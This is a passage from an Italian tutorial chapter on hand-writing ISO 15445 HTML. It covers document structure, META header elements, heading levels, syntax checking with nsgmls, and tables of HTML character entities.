67.19 Rispetto del diritto d’autore 3951

67.19.1 Verifica conclusiva 3952

67.20 Riferimenti 3952

blocchi-css-01.html 3942 blocchi-css-02.html 3944 blocchi-css-03.html 3946 caratteri-css-01.html 3929 caratteri-css-02.html 3931 citazioni-01.html 3909 colori-css-01.html 3933 colori-css-02.html 3935 3936 dinamica-css-01.html 3950 elenchi-01.html 3893 immagini-01.html 3915 immagini-02.html 3916 linguaggio-css-01.html 3925 macro-01.html 3880 macro-02.html 3881 oggetti-01.html 3911 oggetti-02.html 3913 riferimenti-01.html 3906 sfondo-css-01.html 3935 stile-01.html 3920 stile-02.css 3921 stile-02.html 3921 struttura-01.html 3867 struttura-02.html 3869 struttura-03.html 3870 struttura-04.html 3871 tabelle-01.html 3899 tabelle-02.html 3901 tabelle-03.html 3903 testo-css-01.html 3938 testo-lineare-01.html 3883 testo-lineare-02.html 3884 testo-preformattato-01.html 3886 testo-preformattato-02.html 3887 testo-preformattato-03.html 3889 verifica-blocchi-css-01.html 3948 verifica-caratteri-css-01.html 3931 verifica-colori-css-01.html 3936 verifica-elenchi-01.html 3896 verifica-immagini-01.html 3918 verifica-oggetti-01.html 3914 verifica-pre-01.html 3890 verifica-riferimenti-01-indice.html 3908 verifica-riferimenti-01-libri.html 3908 verifica-riferimenti-01-perditempo.html 3908 verifica-struttura-macro.html 3882 verifica-tabelle-01.html 3901 verifica-tabelle-complesse-01.html 3904 verifica-testo-css-01.html 3939 verifica-testo-lineare-01.html 3884 verifica-testo-lineare-02.html 3885

Prima di iniziare le lezioni pratiche sulla realizzazione di documenti HTML, è bene predisporre o prepararsi a utilizzare degli strumenti adatti. Le pagine vanno scritte utilizzando un programma per la creazione e modifica di file di testo, come può essere VI, Mcedit, Gedit o qualunque altro programma appropriato, di cui si conosca l’utilizzo.

I file vanno scritti utilizzando la codifica ASCII pura e semplice, pertanto, non possono essere usate lettere accentate se non utilizzando le macro appropriate, come viene descritto durante le esercitazioni.

Per poter controllare l’aspetto finale del file HTML che si sta scrivendo con un programma di scrittura per file di testo, occorre usare un navigatore (come Mozilla, Amaya o altro). Se possibile, è utile confrontare l’aspetto finale del proprio lavoro con navigatori differenti.

Le verifiche richiedono la stampa del risultato finale, attraverso un navigatore, assieme alla stampa del sorgente.

Prima di stampare il proprio lavoro è necessario accertarsi della correttezza sintattica di ogni file HTML. Per questo possono essere utilizzati diversi strumenti, a seconda di ciò che è disponibile presso il proprio elaboratore. Se è stato installato correttamente il pacchetto SP (*SGML parser*) con i DTD dei vari formati HTML, è sufficiente il comando seguente:

```
$ nsgmls -s file_html 2>&1 | less [Invio]
```

In mancanza di altro, si può accedere al servizio offerto da consorzio W3C presso l'indirizzo ⟨http://validator.w3.org/file-upload.html⟩. Si osservi che è necessario indicare la codifica e può essere scelta la sigla '**iso-8859-1**'.

Si osservi che per la valutazione delle verifiche si tiene conto anche della coerenza estetica del sorgente, dove, in particolare, non vanno superate le 80 colonne di larghezza del testo.

All'interno di queste lezioni sono richieste alcune verifiche, che vengono riepilogate qui, per facilitare la ripresa del lavoro quando questo viene sospeso.

1. Verifica sulla struttura generale e sull'uso delle macro, sezione 67.2.3.
2. Verifica sull'uso degli elementi interni al testo lineare, sezioni 67.3.3 e 67.3.4.
3. Verifica sull'uso degli elementi per il testo preformattato, sezione 67.4.4.
4. Verifica sull'uso degli elenchi, sezione 67.5.2.
5. Verifica sull'uso di tabelle elementari, sezione 67.6.3.
6. Verifica sull'uso di tabelle complesse, sezione 67.7.2.
7. Verifica sull'uso dei riferimenti ipertestuali, sezione 67.8.2.
8. Verifica sull'inserzione di oggetti, sezione 67.10.3.
9. Verifica sull'inserzione di immagini, sezione 67.11.3.
10. Verifica sull'uso delle proprietà riferite ai caratteri, sezione 67.14.3.
11. Verifica sull'uso delle proprietà riferite ai colori, sezione 67.15.5.
12. Verifica sull'uso delle proprietà riferite al testo, sezione 67.16.2.
13. Verifica sull'uso delle proprietà riferite ai blocchi, sezione 67.17.4.
14. Verifica conclusiva, sezione 67.19.1.

67.1 Struttura generale e intestazione

Un documento HTML si compone di un file di testo, all'interno del quale le informazioni sono circoscritte da ***elementi***, delimitati da ***marcatori*** che aprono e chiudono gli elementi stessi. Per esempio, il marcatore '**<HTML>**' apre l'elemento '**HTML**', mentre il marcatore '**</HTML>**' lo chiude.

Il file di testo, che costituisce il ***sorgente*** del documento o della pagina HTML, può contenere dei commenti, che non vengono mostrati dal navigatore. Questi commenti o annotazioni si delimitano tra '**<!--**' e '**-->**'.

67.1.1 File «struttura-01.html»

Si scriva il testo seguente salvandolo nel file 'struttura-01.html':

```
1   <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2   <HTML LANG="it">
3   <HEAD>
4       <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5       <META NAME="Description" CONTENT="Struttura HTML, esempio 01">
6       <META NAME="Keywords" CONTENT="HTML, esempio">
7       <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg">
8       <META NAME="Date" CONTENT="2010.01.01">
9       <META NAME="Resource-type" LANG="en" CONTENT="Document">
10      <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
11      <META NAME="Robots" CONTENT="ALL">
12      <TITLE>Struttura di un documento HTML</TITLE>
13  </HEAD>
14  <BODY>
15
16  </P>Struttura di un documento HTML. Bla bla bla bla bla bla bla bla bla
17  bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
18  bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
19  bla.<P>
20
21  </BODY>
22  </HTML>
```

Questo primo esempio contiene un errore; lo si scopre facilmente con l'ausilio di uno strumento di controllo, come descritto nella premessa del capitolo:

$ **nsgmls -s struttura-01.html 2>&1 | less** [*Invio*]

```
nsgmls:struttura-01.html:16:3:E: end tag for element "P" which is not open
nsgmls:struttura-01.html:16:4:E: character data is not allowed here
```

Dall'analisi si viene a sapere che nella riga numero 16 e alla colonna numero 3 del file 'struttura-01.html' appare un marcatore di chiusura per un elemento '**P**' che non è stato aperto; di conseguenza, alla riga 16, colonna 4, inizia del testo che non è ammissibile.

Osservando il sorgente proposto si comprende che il blocco di testo che inizia dalla riga numero 16 andrebbe scritto nel modo seguente:

```
16  <P>Struttura di un documento HTML. Bla bla bla bla bla bla bla bla bla
17  bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
18  bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
19  bla.</P>
```

Si corregga l'errore, si salvi con lo stesso nome e si verifichi nuovamente la correttezza del file (se ci sono altri errori si provveda alla loro correzione, controllando nuovamente fino a che il file risulta corretto).

Un file HTML, scritto secondo lo standard ISO 15445, inizia con la dichiarazione che appare nella prima riga dell'esempio già mostrato:

```
1    <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
```

Questa indicazione è obbligatoria e viene usata in tutti i file di queste lezioni pratiche. Dopo la dichiarazione del tipo di documento si osservi che c'è un solo elemento, denominato '**HTML**' (dalla riga numero 2 alla riga 22). Questo elemento contiene l'elemento '**HEAD**' (dalla riga numero 3 alla riga 13) e l'elemento '**BODY**' (dalla riga numero 14 alla riga 21).

L'elemento '**HEAD**' viene usato per contenere informazioni relative al documento che non vengono visualizzate dal navigatore, mentre l'elemento '**BODY**' contiene ciò che viene visto normalmente.

L'elemento '**HTML**' (si osservi il marcatore di apertura alla riga 2) contiene l'attributo '**LANG**', con il quale si dichiara l'utilizzo della lingua italiana per tutto il file, salvo indicazione diversa di elementi interni.

Gli elementi '**META**' contenuti nell'elemento '**HEAD**' sono descritti brevemente nella tabella successiva. Si osservi in particolare il fatto che sono tutti vuoti, pertanto non è stato scritto il marcatore di chiusura (essendo perfettamente superfluo).

Marcatore	Descrizione
`<META HTTP-EQUIV="Content-Type" ↩` `↪CONTENT="text/html"; charset=us-ascii>`	Dichiara il documento secondo lo standard MIME (*Multipurpose internet mail extensions*) e la codifica.
`<META NAME="Description" ↩` `↪CONTENT="Struttura HTML, esempio 01">`	Dà una descrizione al documento, utile per i sistemi di indicizzazione delle informazioni che appaiono nella rete.
`<META NAME="Keywords" CONTENT="HTML, esempio">`	Dichiara le parole chiave più importanti per fare riferimento al documento attraverso i motori di ricerca.
`<META NAME="Author" ↩` `↪CONTENT="Tizio Tizi, tizio@brot.dg">`	Dichiara le informazioni riferite agli autori del documento.
`<META NAME="Date" ↩` `↪CONTENT="2010.01.01">`	Dichiara la data del documento.
`<META NAME="Resource-type" LANG="en" ↩` `↪CONTENT="Document">`	Definisce il tipo di «risorsa», attraverso una denominazione che serve ai sistemi di indicizzazione delle informazioni.
`<META NAME="Revisit-after" LANG="en" ↩` `↪CONTENT="15 days">`	Dice ai motori di ricerca di controllare nuovamente il file a intervalli di 15 giorni.
`<META NAME="Robots" CONTENT="ALL">`	Dichiara che è consentito espressamente a tutti i sistemi automatici di scansione dei documenti, come i motori di ricerca o i sistemi di indicizzazione, di acquisire tutto il contenuto.

Gli elementi '**META**' contengono principalmente informazioni che servono ai motori di ricerca, pertanto, alcune informazioni sono scritte espressamente in inglese, dichiarando il linguaggio con l'attributo '**LANG**', come eccezione rispetto alla dichiarazione complessiva contenuta nell'elemento '**HTML**'.

Alla fine degli elementi '**META**', alla riga numero 12, appare il titolo del documento, racchiuso nell'elemento '**TITLE**'.

Si salvi con il nome 'struttura-02.html' questo file, modificando le informazioni dell'intestazione con qualcosa di appropriato, soprattutto mettendo al posto dell'autore i propri dati e indicando la data corretta del lavoro. Si ricordi di controllare la correttezza sintattica con gli strumenti già noti.

67.1.2 File «struttura-02.html»

Viene mostrato come dovrebbe apparire il file 'struttura-02.html' dopo le modifiche richieste. Si osservi che il nome «Tizio Tizi», l'indirizzo di posta elettronica relativo e la classe devono essere sostituiti con i propri dati, eventualmente con un indirizzo di posta elettronica fasullo, se si preferisce mantenerlo anonimo:

```
1  <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2  <HTML LANG="it">
3  <HEAD>
4      <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5      <META NAME="Description" CONTENT="Struttura HTML, esempio 02">
6      <META NAME="Keywords" CONTENT="HTML, esempio">
7      <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
8      <META NAME="Date" CONTENT="2010.01.01">
9      <META NAME="Resource-type" LANG="en" CONTENT="Document">
10     <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
11     <META NAME="Robots" CONTENT="ALL">
12     <TITLE>Struttura di un documento HTML</TITLE>
13 </HEAD>
14 <BODY>
15
16 <P>Struttura di un documento HTML. Bla bla bla bla bla bla bla bla bla
17 bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
18 bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
19 bla.</P>
20
21 </BODY>
22 </HTML>
```

L'elemento '**BODY**' (righe da 14 a 21) contiene soltanto un elemento '**P**', che serve a delimitare un blocco di testo (la lettera «p» sta per «paragrafo»). Se si osserva il risultato che si ottiene da un navigatore, si può notare che il titolo non fa parte del documento visualizzato, ma appare probabilmente in una posizione esterna a questo.

Figura 67.7. Aspetto del file 'struttura-02.html' con un navigatore.

Struttura di un documento HTML. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Dalla figura si può vedere che l'impaginazione del blocco di testo delimitato dall'elemento '**P**' dipende dalla dimensione del carattere e dall'ampiezza disponibile effettivamente, durante l'utilizzo del navigatore.

67.1.3 File «struttura-03.html»

Si salvi con il nome 'struttura-03.html' il file usato in precedenza e lo si modifichi secondo il modello dell'esempio seguente:

```
1  <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2  <HTML LANG="it">
3  <HEAD>
4      <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5      <META NAME="Description" CONTENT="Struttura HTML, esempio 03">
6      <META NAME="Keywords" CONTENT="HTML, esempio">
7      <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
8      <META NAME="Date" CONTENT="2010.01.01">
9      <META NAME="Resource-type" LANG="en" CONTENT="Document">
10     <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
11     <META NAME="Robots" CONTENT="ALL">
12     <TITLE>Struttura di un documento HTML</TITLE>
13 </HEAD>
14 <BODY>
15
16 <!-- Capitolo -->
17 <H1>Struttura di un documento HTML</H1>
18
19 <P>Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
20 bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
21 bla bla bla bla bla bla bla bla bla bla.</P>
22
23 <!-- Sezione -->
24 <H2>Intestazione</H2>
25
26 <P>Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
27 bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
28 bla bla bla bla bla bla bla bla bla bla.</P>
29
30 <!-- Sezione -->
31 <H2>Corpo</H2>
32
33 <P>Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
34 bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
35 bla bla bla bla bla bla bla bla bla bla.</P>
36
37 </BODY>
38 </HTML>
```

Gli elementi '**H1**' servono a delimitare il titolo di una sezione importante (di primo livello) del documento; gli elementi '**H2**' si usano per il titolo di una sezione di livello inferiore, continuando così a decrescere fino a '**H6**'. Si osservi come potrebbe risultare il documento di esempio nella figura successiva.

Figura 67.9. Aspetto del file ‘`struttura-03.html`’ con un navigatore.

Struttura di un documento HTML

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Intestazione

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Corpo

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

L’esempio costituito dal file ‘`struttura-03.html`’ si compone di un titolo di una sezione di livello uno, che contiene una descrizione e una serie di sezioni di livello due. Il significato che può avere una sezione di livello uno dipende dal contesto: se si trattasse di un libro, l’elemento ‘**`H1`**’ potrebbe essere usato per i titoli dei capitoli.

67.1.4 File «struttura-04.html»

Si salvi con il nome ‘`struttura-04.html`’ il file usato in precedenza e lo si modifichi secondo il modello dell’esempio seguente:

```
1  <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2  <HTML LANG="it">
3  <HEAD>
4      <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5      <META NAME="Description" CONTENT="Struttura HTML, esempio 04">
6      <META NAME="Keywords" CONTENT="HTML, esempio">
7      <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
8      <META NAME="Date" CONTENT="2010.01.01">
9      <META NAME="Resource-type" LANG="en" CONTENT="Document">
10     <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
11     <META NAME="Robots" CONTENT="ALL">
12     <TITLE>Struttura di un documento HTML</TITLE>
13 </HEAD>
14 <BODY>
15
16 <H1>Introduzione</H1>
17
18 <P>Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
19 bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
20 bla bla bla bla bla bla bla bla bla bla.</P>
21
22 <H1>Struttura di un documento HTML</H1>
23
24 <P>Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
25 bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
26 bla bla bla bla bla bla bla bla bla bla.</P>
27
28 <H2>Intestazione</H2>
```

```
29
30    <P>Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
31    bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
32    bla bla bla bla bla bla bla bla bla bla.</P>
33
34    <H2>Corpo</H2>
35
36    <P>Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
37    bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
38    bla bla bla bla bla bla bla bla bla bla.</P>
39
40    <H1>Appendice</H1>
41
42    <P>Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
43    bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
44    bla bla bla bla bla bla bla bla bla bla.</P>
45
46    <H1>Indice analitico</H1>
47
48    <P>Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
49    bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
50    bla bla bla bla bla bla bla bla bla bla.</P>
51
52    </BODY>
53    </HTML>
```

L’esempio dovrebbe far comprendere meglio l’utilizzo degli elementi ‘**H*n***’. In questo caso il documento è strutturato come se si trattasse di un libro, composto da un’introduzione, un capitolo, un’appendice e un indice analitico.

Figura 67.11. Aspetto del file 'struttura-04.html' con un navigatore.

Introduzione

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Struttura di un documento HTML

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Intestazione

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Corpo

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Appendice

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Indice analitico

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

67.2 Caratteri speciali

La realizzazione di un documento HTML standard richiede l'uso di una codifica dei caratteri limitata al codice ASCII tradizionale, dove in sostanza di hanno numeri, lettere non accentate e pochi altri simboli. Per tutti gli altri simboli, compresi quelli che nel sorgente HTML hanno un valore speciale (si tratta precisamente dei simboli '**<**', '**>**' e '**&**'), si usano delle rappresentazioni speciali, che qui vengono chiamate ***macro***.

Le macro che consentono di rappresentare caratteri speciali fanno riferimento a ***entità*** SGML; per esempio, '**à**' è la macro dell'entità '**agrave**'. Si osservi che le macro iniziano con la e-commerciale ('**&**') e terminano con il punto e virgola ('**;**').

Le tabelle successive riportano l'elenco completo delle macro SGML standard che si possono usare nei documenti HTML.

Tabella 67.12. Entità HTML HTMLlat1.

Codifica	Standard	SGML macro					Descrizione
U+00A0	ISOnum						no-break space = non-breaking space
U+00A1	ISOnum	¡	¡	¡	¡	¡	inverted exclamation mark
U+00A2	ISOnum	¢	¢	¢	¢	¢	cent sign
U+00A3	ISOnum	£	£	£	£	£	pound sign
U+00A4	ISOnum	¤	¤	¤	¤	¤	currency sign
U+00A5	ISOnum	¥	¥	¥	¥	¥	yen sign = yuan sign
U+00A6	ISOnum	¦	¦	¦	¦	¦	broken bar = broken vertical bar
U+00A7	ISOnum	§	§	§	§	§	section sign
U+00A8	ISOdia	¨	¨	¨	¨	¨	diaeresis = spacing diaeresis
U+00A9	ISOnum	©	©	©	©	©	copyright sign
U+00AA	ISOnum	ª	ª	ª	ª	ª	feminine ordinal indicator
U+00AB	ISOnum	«	«	«	«	«	left-pointing double angle quotation mark = left pointing guillemet
U+00AC	ISOnum	¬	¬	¬	¬	¬	not sign
U+00AD	ISOnum						soft hyphen = discretionary hyphen
U+00AE	ISOnum	®	®	®	®	®	registered sign = registered trade mark sign
U+00AF	ISOdia	¯	¯	¯	¯	¯	macron = spacing macron = overline = APL overbar
U+00B0	ISOnum	°	°	°	°	°	degree sign
U+00B1	ISOnum	±	±	±	±	±	plus-minus sign = plus-or-minus sign
U+00B2	ISOnum	²	²	²	²	²	superscript two = superscript digit two = squared
U+00B3	ISOnum	³	³	³	³	³	superscript three = superscript digit three = cubed
U+00B4	ISOdia	´	´	´	´	´	acute accent = spacing acute
U+00B5	ISOnum	µ	µ	µ	µ	µ	micro sign
U+00B6	ISOnum	¶	¶	¶	¶	¶	pilcrow sign = paragraph sign
U+00B7	ISOnum	·	·	·	·	·	middle dot = Georgian comma = Greek middle dot
U+00B8	ISOdia	¸	¸	¸	¸	¸	cedilla = spacing cedilla
U+00B9	ISOnum	¹	¹	¹	¹	¹	superscript one = superscript digit one
U+00BA	ISOnum	º	º	º	º	º	masculine ordinal indicator
U+00BB	ISOnum	»	»	»	»	»	right-pointing double angle quotation mark = right pointing guillemet
U+00BC	ISOnum	¼	¼	¼	¼	¼	vulgar fraction one quarter = fraction one quarter
U+00BD	ISOnum	½	½	½	½	½	vulgar fraction one half = fraction one half
U+00BE	ISOnum	¾	¾	¾	¾	¾	vulgar fraction three quarters = fraction three quarters
U+00BF	ISOnum	¿	¿	¿	¿	¿	inverted question mark = turned question mark
U+00C0	ISOlat1	À	À	À	À	À	latin capital letter A with grave = latin capital letter A grave
U+00C1	ISOlat1	Á	Á	Á	Á	Á	latin capital letter A with acute
U+00C2	ISOlat1	Â	Â	Â	Â	Â	latin capital letter A with circumflex
U+00C3	ISOlat1	Ã	Ã	Ã	Ã	Ã	latin capital letter A with tilde

Codifica	Standard	SGML macro					Descrizione
U+00C4	ISOlat1	Ä	Ä	*Ä*	**Ä**	Ä	latin capital letter A with diaeresis
U+00C5	ISOlat1	Å	Å	*Å*	**Å**	Å	latin capital letter A with ring above = latin capital letter A ring
U+00C6	ISOlat1	Æ	Æ	*Æ*	**Æ**	Æ	latin capital letter AE = latin capital ligature AE
U+00C7	ISOlat1	Ç	Ç	*Ç*	**Ç**	Ç	latin capital letter C with cedilla
U+00C8	ISOlat1	È	È	*È*	**È**	È	latin capital letter E with grave
U+00C9	ISOlat1	É	É	*É*	**É**	É	latin capital letter E with acute
U+00CA	ISOlat1	Ê	Ê	*Ê*	**Ê**	Ê	latin capital letter E with circumflex
U+00CB	ISOlat1	Ë	Ë	*Ë*	**Ë**	Ë	latin capital letter E with diaeresis
U+00CC	ISOlat1	Ì	Ì	*Ì*	**Ì**	Ì	latin capital letter I with grave
U+00CD	ISOlat1	Í	Í	*Í*	**Í**	Í	latin capital letter I with acute
U+00CE	ISOlat1	Î	Î	*Î*	**Î**	Î	latin capital letter I with circumflex
U+00CF	ISOlat1	Ï	Ï	*Ï*	**Ï**	Ï	latin capital letter I with diaeresis
U+00D0	ISOlat1	Ð	Ð	*Ð*	**Ð**	Ð	latin capital letter ETH
U+00D1	ISOlat1	Ñ	Ñ	*Ñ*	**Ñ**	Ñ	latin capital letter N with tilde
U+00D2	ISOlat1	Ò	Ò	*Ò*	**Ò**	Ò	latin capital letter O with grave
U+00D3	ISOlat1	Ó	Ó	*Ó*	**Ó**	Ó	latin capital letter O with acute
U+00D4	ISOlat1	Ô	Ô	*Ô*	**Ô**	Ô	latin capital letter O with circumflex
U+00D5	ISOlat1	Õ	Õ	*Õ*	**Õ**	Õ	latin capital letter O with tilde
U+00D6	ISOlat1	Ö	Ö	*Ö*	**Ö**	Ö	latin capital letter O with diaeresis
U+00D7	ISOnum	×	×	×	×	×	multiplication sign
U+00D8	ISOlat1	Ø	Ø	*Ø*	**Ø**	Ø	latin capital letter O with stroke = latin capital letter O slash
U+00D9	ISOlat1	Ù	Ù	*Ù*	**Ù**	Ù	latin capital letter U with grave
U+00DA	ISOlat1	Ú	Ú	*Ú*	**Ú**	Ú	latin capital letter U with acute
U+00DB	ISOlat1	Û	Û	*Û*	**Û**	Û	latin capital letter U with circumflex
U+00DC	ISOlat1	Ü	Ü	*Ü*	**Ü**	Ü	latin capital letter U with diaeresis
U+00DD	ISOlat1	Ý	Ý	*Ý*	**Ý**	Ý	latin capital letter Y with acute
U+00DE	ISOlat1	Þ	Þ	*Þ*	**Þ**	Þ	latin capital letter THORN
U+00DF	ISOlat1	ß	ß	*ß*	**ß**	ß	latin small letter sharp s = ess-zed
U+00E0	ISOlat1	à	à	*à*	**à**	à	latin small letter a with grave = latin small letter a grave
U+00E1	ISOlat1	á	á	*á*	**á**	á	latin small letter a with acute
U+00E2	ISOlat1	â	â	*â*	**â**	â	latin small letter a with circumflex
U+00E3	ISOlat1	ã	ã	*ã*	**ã**	ã	latin small letter a with tilde
U+00E4	ISOlat1	ä	ä	*ä*	**ä**	ä	latin small letter a with diaeresis
U+00E5	ISOlat1	å	å	*å*	**å**	å	latin small letter a with ring above = latin small letter a ring
U+00E6	ISOlat1	æ	æ	*æ*	**æ**	æ	latin small letter ae = latin small ligature ae
U+00E7	ISOlat1	ç	ç	*ç*	**ç**	ç	latin small letter c with cedilla
U+00E8	ISOlat1	è	è	*è*	**è**	è	latin small letter e with grave
U+00E9	ISOlat1	é	é	*é*	**é**	é	latin small letter e with acute
U+00EA	ISOlat1	ê	ê	*ê*	**ê**	ê	latin small letter e with circumflex
U+00EB	ISOlat1	ë	ë	*ë*	**ë**	ë	latin small letter e with diaeresis

Codifica	Standard	SGML macro					Descrizione
U+00EC	ISOlat1	ì	ì	ì	ì	ì	latin small letter i with grave
U+00ED	ISOlat1	í	í	í	í	í	latin small letter i with acute
U+00EE	ISOlat1	î	î	î	î	î	latin small letter i with circumflex
U+00EF	ISOlat1	ï	ï	ï	ï	ï	latin small letter i with diaeresis
U+00F0	ISOlat1	ð	ð	ð	ð	ð	latin small letter eth
U+00F1	ISOlat1	ñ	ñ	ñ	ñ	ñ	latin small letter n with tilde
U+00F2	ISOlat1	ò	ò	ò	ò	ò	latin small letter o with grave
U+00F3	ISOlat1	ó	ó	ó	ó	ó	latin small letter o with acute
U+00F4	ISOlat1	ô	ô	ô	ô	ô	latin small letter o with circumflex
U+00F5	ISOlat1	õ	õ	õ	õ	õ	latin small letter o with tilde
U+00F6	ISOlat1	ö	ö	ö	ö	ö	latin small letter o with diaeresis
U+00F7	ISOnum	÷	÷	÷	÷	÷	division sign
U+00F8	ISOlat1	ø	ø	ø	ø	ø	latin small letter o with stroke = latin small letter o slash
U+00F9	ISOlat1	ù	ù	ù	ù	ù	latin small letter u with grave
U+00FA	ISOlat1	ú	ú	ú	ú	ú	latin small letter u with acute
U+00FB	ISOlat1	û	û	û	û	û	latin small letter u with circumflex
U+00FC	ISOlat1	ü	ü	ü	ü	ü	latin small letter u with diaeresis
U+00FD	ISOlat1	ý	ý	ý	ý	ý	latin small letter y with acute
U+00FE	ISOlat1	þ	þ	þ	þ	þ	latin small letter thorn
U+00FF	ISOlat1	ÿ	ÿ	ÿ	ÿ	ÿ	latin small letter y with diaeresis

Tabella 67.13. Entità HTML HTMLspecial.

Codifica	Standard	SGML macro					Descrizione
U+0022	ISOnum	"	"	"	"	"	quotation mark = APL quote
U+0026	ISOnum	&	&	&	&	&	ampersand
U+003C	ISOnum	<	<	<	<	<	less-than sign
U+003E	ISOnum	>	>	>	>	>	greater-than sign
U+0152	ISOlat2	Œ	Œ	Œ	Œ	Œ	latin capital ligature OE
U+0153	ISOlat2	œ	œ	œ	œ	œ	latin small ligature oe
U+0160	ISOlat2	Š	Š	Š	Š	Š	latin capital letter S with caron
U+0161	ISOlat2	š	š	š	š	š	latin small letter s with caron
U+0178	ISOlat2	Ÿ	Ÿ	Ÿ	Ÿ	Ÿ	latin capital letter Y with diaeresis
U+02C6	ISOpub	ˆ	ˆ	ˆ	ˆ	ˆ	modifier letter circumflex accent
U+02DC	ISOdia	˜	˜	˜	˜	˜	small tilde
U+2002	ISOpub						en space
U+2003	ISOpub						em space
U+2009	ISOpub						thin space
U+200C	RFC 2070	‌					zero width non-joiner
U+200D	RFC 2070	‍					zero width joiner
U+200E	RFC 2070	‎	□	□	□	□	left-to-right mark
U+200F	RFC 2070	‏	□	□	□	□	right-to-left mark
U+2013	ISOpub	–	–	–	–	–	en dash

Codifica	Standard	SGML macro					Descrizione
U+2014	ISOpub	—	—	—	—	—	em dash
U+2018	ISOnum	‘	‘	‘	‘	‘	left single quotation mark
U+2019	ISOnum	’	’	’	’	’	right single quotation mark
U+201A		‚	‚	‚	‚	‚	single low-9 quotation mark
U+201C	ISOnum	“	“	“	“	“	left double quotation mark
U+201D	ISOnum	”	”	”	”	”	right double quotation mark
U+201E		„	„	„	„	„	double low-9 quotation mark
U+2020	ISOpub	†	†	†	†	†	dagger
U+2021	ISOpub	‡	‡	‡	‡	‡	double dagger
U+2030	ISOtech	‰	‰	‰	‰	‰	per mille sign
U+2039	ISO proposed	‹	⟨	⟨	⟨	⟨	single left-pointing angle quotation mark
U+203A	ISO proposed	›	⟩	⟩	⟩	⟩	single right-pointing angle quotation mark
U+20AC		€	€	€	€	€	euro sign

Tabella 67.14. Entità HTML HTMLsymbol.

Codifica	Standard	SGML macro					Descrizione
U+0192	ISOtech	ƒ	ƒ	ƒ	ƒ	ƒ	latin small f with hook = function= florin
